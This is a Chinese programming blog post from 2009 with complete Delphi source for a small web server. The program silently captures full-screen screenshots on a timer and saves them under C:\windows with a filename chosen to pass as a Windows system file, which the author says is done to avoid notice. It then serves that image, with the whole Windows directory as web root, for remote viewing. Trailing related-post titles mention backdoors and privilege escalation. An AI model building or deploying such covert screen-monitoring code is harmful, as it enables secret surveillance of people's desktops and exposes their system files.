http://www.birdol.com/cainiaobiancheng/238.html

delphi之猥琐的webserver实现

菜鸟编程  十五楼的鸟儿  7年前 (2009-01-01)  1266浏览  0评论

简单的webserver而已,不过实现的功能有些猥琐,可以在远程监控你的桌面一举一动~~
代码如下:
[code=delphi]unit Main;

interface

uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
 ActnList, StdCtrls, IdComponent, IdTCPServer, IdHTTPServer, Buttons,
 ComCtrls, IdGlobal, IdBaseComponent, IdThreadMgr, IdThreadMgrDefault, syncobjs,
 IdThreadMgrPool, ExtCtrls, IdIntercept, IdIOHandlerSocket,
 IdCustomHTTPServer, idSocketHandle,shellapi, Winsock, jpeg;
{偶承认这里是乱来的,我也不知道都use了啥,填了一堆...-_-!}
type
 TfmHTTPServerMain = class(TForm)
   HTTPServer: TIdHTTPServer;
   edPort: TEdit;
   cbActive: TCheckBox;
   edRoot: TEdit;
   LabelRoot: TLabel;
   Label1: TLabel;
   Button1: TButton;
   Label2: TLabel;
   Timer1: TTimer;
   procedure acActivateExecute(Sender: TObject);
   procedure HTTPServerCommandGet(AThread: TIdPeerThread;
     RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure Button1Click(Sender: TObject);
   procedure Timer1Timer(Sender: TObject);

private
   UILock: TCriticalSection;
   { Private declarations }
 public
   { Public declarations }
   EnableLog: boolean;
   MIMEMap: TIdMIMETable;
 end;

var
 fmHTTPServerMain: TfmHTTPServerMain;
   jiance:Boolean;

implementation

uses FileCtrl, IdStack;

{$R *.DFM}

function GetLocalIP: string;
type
  TaPInAddr = array[0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  i: integer;
  GInitData: TWSADATA;
begin
  wsastartup($101, GInitData);
  result := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if not assigned(phe) then
    exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  i := 0;
  while pptr^[I] <> nil do
  begin
    result := {Result +}StrPas(inet_ntoa(pptr^[I]^)) + ',';
    inc(i);
  end;
  Delete(Result, Length(Result), 1);
  wsacleanup;
end;{获取IP的函数}

procedure TfmHTTPServerMain.acActivateExecute(Sender: TObject);
var
 Binding : TIdSocketHandle;

begin

if jiance  then
 begin
   cbActive.Checked:=True;
   jiance:=False;
 end
  else
  begin
   cbActive.Checked:= False;
   jiance:=True;
  end;
 if not HTTPServer.Active then
 begin
   HTTPServer.Bindings.Clear;
   Binding := HTTPServer.Bindings.Add;
   Binding.Port := StrToIntDef(edPort.text, 80);
   Binding.IP := GetLocalIP;
    caption := '已启动';
 end;

if not DirectoryExists(edRoot.text) then
 begin
   cbActive.Checked:= False;
 end
 else
 begin
   if cbActive.Checked then
   begin
     try
       HTTPServer.Active := true;
     except
       on e: exception do
       begin
         cbActive.Checked := False;
       end;
     end;
   end
   else
   begin
     HTTPServer.Active := false;
      caption := '未启动';
     // SSL stuff
     HTTPServer.Intercept := nil;
   end;
 end;
 edPort.Enabled := not cbActive.Checked;
 edRoot.Enabled := not cbActive.Checked;
end;

procedure TfmHTTPServerMain.HTTPServerCommandGet(AThread: TIdPeerThread;
 RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);

var
 LocalDoc: string;
 ByteSent: Cardinal;

begin
   LocalDoc := ExpandFilename(edRoot.text + RequestInfo.Document);
   if not FileExists(LocalDoc) then
   begin
     LocalDoc := ExpandFileName(LocalDoc);
   end;
   if FileExists(LocalDoc) then
 begin
       if AnsiSameText(RequestInfo.Command, 'HEAD') then
       begin
          ResponseInfo.ResponseNo := 200;
          ResponseInfo.ContentText := '

'+''+'';
       end
       else
       begin
         ByteSent := HTTPServer.ServeFile(AThread, ResponseInfo, LocalDoc);
        end;
 end
 else
   begin
     ResponseInfo.ResponseNo := 404;
     ResponseInfo.ContentText := '

'+''+'';
{edPort.Text是你设置的端口,windows目录下是有FeatherTexture.bmp的,为了掩人耳目,弄个差不多的FeatherTexture.jpeg~}
 end;
{这个webserver貌似还有些问题,结构是我从indy的demo上扒下来的,貌似每次返回的都是404代码,所以偶为了防止出问题,采用了上面那段代码,就算是404,404页面也是有图片的,嘿嘿~~}
end;

procedure TfmHTTPServerMain.FormCreate(Sender: TObject);
begin
 jiance:=True;
 UILock := TCriticalSection.Create;
 MIMEMap := TIdMIMETable.Create(true);
   edRoot.text := 'C:\windows';
 if HTTPServer.active then  caption := '已启动' else caption := '未启动';
 Label2.Caption:= '当前IP:'+GetLocalIP;
end;

procedure TfmHTTPServerMain.FormDestroy(Sender: TObject);
begin
 MIMEMap.Free;
 UILock.Free;
end;

procedure TfmHTTPServerMain.Button1Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('http://'+GetLocalIP+':'+edPort.Text),nil,nil,sw_shownormal);
end;

procedure TfmHTTPServerMain.Timer1Timer(Sender: TObject);
var
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
MyJPEG : TJPEGImage;
begin
Fullscreen:=TBitmap.Create;
Fullscreen.Width:=screen.width;
Fullscreen.Height:=screen.Height;
DC:=GetDC(0);
FullscreenCanvas:=TCanvas.Create;
FullscreenCanvas.Handle:=DC;
Fullscreen.Canvas.CopyRect(Rect(0,0,screen.Width,screen.Height),
fullscreenCanvas,Rect(0,0,Screen.Width,Screen.Height));
FullscreenCanvas.Free;
ReleaseDC(0,DC);
myjpeg:= TJPEGImage.Create;
myjpeg.Assign(Fullscreen);
myjpeg.CompressionQuality:=100; //压缩比例,100是最清晰状态。
myjpeg.Compress;
try
myjpeg.SaveToFile('c:\windows\FeatherTexture.JPEG');//保存路径,可以随便选,但是一定要和上面的webserver路径吻合。
myjpeg.Free;
fullscreen.free;
except
end;
end;

end.

[/code]
截个图瞧瞧:

转载请注明:鸟儿博客 » delphi之猥琐的webserver实现

delphi之猥琐的webserver实现的更多相关文章

  1. PHP后门新玩法:一款猥琐的PHP后门分析

    0x00 背景 近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣.接下来就 ...

  2. Finding Palindromes - 猥琐的字符串(Manacher+trie)

    题目大意:有 N 个字符串,所有的字符串长度不超过 200W 任意俩俩字符串可以自由组合,问组合的字符串是回文串的个数有多少个?   分析:这是一个相当猥琐的字符串处理,因为没有说单个的字符串最少多长 ...

  3. 猥琐的wordpress后门分享

    https://www.t00ls.net/thread-37312-1-1.html 一个可以自动调用管理员帐号登录wordpress后台的方法. <?php require('../../. ...

  4. webshell + xss 猥琐刷某投票

    团队成员发来一个投票的地址,需要撸某某网站的一个某某投票,果断看了下,ip限制了,看到post 数据包 额 随便找个大流量shell post 数据 Js代码代码 <script type=&q ...

  5. Potato(邪恶土豆)–windows全版本猥琐提权

    工作原理: Potato利用已知的Windows中的问题,以获得本地权限提升,即NTLM中继(特别是基于HTTP > SMB中继)和NBNS欺骗.使用下面介绍的技术,它有可能为一个非特权用户获得 ...

  6. 猥琐百度杯猥琐CTF

    其实不难,但是作为我这个代码菜鸡+脑洞菜鸡+黑阔菜鸡而言确实挺难. 题目源码: <?php error_reporting(0); session_start(); require('./fla ...

  7. CTF之文件包含的猥琐思路

    From: i春秋 百度杯”CTF 一: <?php include "flag.php"; //包含flag.php这个文件 $a = @$_REQUEST['hello' ...

  8. 1010 Radix:猥琐的测试数据

    谨以此题纪念边界测试数据浪费了我多少时间:https://pintia.cn/problem-sets/994805342720868352/problems/994805507225665536 # ...

  9. 猥琐发育,3月份Java干货已到达战场!

    时间真的过得很快,又是月底了,又到了我们总结这个月干货的时候了.3月份这个月我们都带来了哪些干货呢?我们一起回顾一下. 坑爹,手机端链接点不开,请切换到电脑端或者关注我们的微信公众号进行阅读. 扫描关 ...

随机推荐

  1. [19/05/07-星期二] JDBC(Java DataBase Connectivity)_CLOB(存储大量的文本数据)与BLOB(存储大量的二进制数据)

    一. CLOB(Character Large Object ) – 用于存储大量的文本数据 – 大字段有些特殊,不同数据库处理的方式不一样,大字段的操作常常是以流的方式来处理的.而非一般的字段,一次 ...

  2. mysql 多表查询 以及 concat 、concat_ws和 group_concat

    left join(左联接) 返回包括左表中的所有记录和右表中联结字段相等的记录right join(右联接) 返回包括右表中的所有记录和左表中联结字段相等的记录inner join(等值连接) 只返 ...

  3. squid代理服务问答

    1. 简述一下squid的用途?squid可以做代理和缓存服务器,而做代理时,可以分为正向代理和反向代理.正向代理用在企业办公环境中,企业员工上网通过代理来上网,代理的缓存功能可以为企业节省宝贵的带宽 ...

  4. Spring MVC-学习笔记(1)认识spring mvc

    1.基于XML Schema.Controller接口的spring mvc简单例子 1>创建一个动态Web项目,选择同时创建web.xml文件 2>在WEB-INF/lib中粘贴spri ...

  5. 从excel表中生成批量SQL

    excel表格中有许多数据,需要将数据导入数据库中,又不能一个一个手工录入,可以生成SQL,来批量操作.   ="insert into Log_loginUser (LogID, Logi ...

  6. Codeforces Round #421 (Div. 2) - A

    题目链接:http://codeforces.com/contest/820/problem/A 题意:一个人在看一本书,书一共C页,这个人每天看v0页,但是他又开始加速看这本书,每天都比前一天多看a ...

  7. 如何查看Codeforces的GYM中比赛的数据

    前置条件:黄名(rating >= 2100) 或者 紫名(rating >= 1900)并且打过30场计分的比赛. 开启:首先打开GYM的界面,如果符合要求会在右边展示出一个Coach ...

  8. Springboot aop使用

    package com.jxd.Boot.aspect; import org.aspectj.lang.JoinPoint;import org.aspectj.lang.Signature;imp ...

  9. CentOS7 利用systemctl添加自定义系统服务

    一.命令systemctl介绍 CentOS 7.0中已经没有service命令,而是启用了systemctl服务器命令,它实际上将 service 和 chkconfig 这两个命令组合到一起. 命 ...

  10. python的list拷贝

    有三种情况 第一种:赋值(不是拷贝) a=[1,2,3] b=a 这种不是拷贝,a和b是一个变量,内存是一个 第二种:浅拷贝 a=[1,2,3,[4,5,6]] b=a b的第一层是独立的,第二层会更 ...